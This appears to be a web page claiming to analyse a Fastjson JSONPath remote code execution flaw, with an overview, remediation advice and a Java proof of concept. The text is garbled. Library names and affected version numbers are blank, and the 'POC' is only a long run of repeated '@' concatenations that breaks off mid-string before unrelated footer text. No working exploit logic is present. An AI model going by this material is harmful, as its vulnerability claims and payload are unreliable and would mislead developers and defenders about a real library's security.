Fastjson JSONPath RCE Vulnerability Analysis and POC

Vulnerability Overview This vulnerability affects the feature of the library, allowing attackers to trigger arbitrary code execution during the parsing process by crafting specific JSON path expressions. The root cause lies in the parser's failure to properly filter or escape certain special characters and expressions, enabling the invocation of Java's method to execute system commands. Affected Scope Affected Versions: Multiple versions of , specifically including: - series - series - series - Version and earlier Affected Features: Functionality utilizing for JSON data extraction and transformation. Remediation Upgrade Version: Upgrade to the latest version (recommended to upgrade to or higher). Disable : If the feature is not required, it can be disabled in the configuration. Input Validation: Implement strict validation and filtering for all user-supplied JSON path expressions to prevent maliciously crafted expressions. POC Code ```java import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONArray; import com.alibaba.fastjson.JSONObject; public class FastjsonPOC { public static void main(String[] args) { String jsonPath = "$..[\"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"@\" + \"

Goal Reached Thanks to every supporter — we hit 100%!

Fastjson JSONPath RCE Vulnerability Analysis and POC

More from this source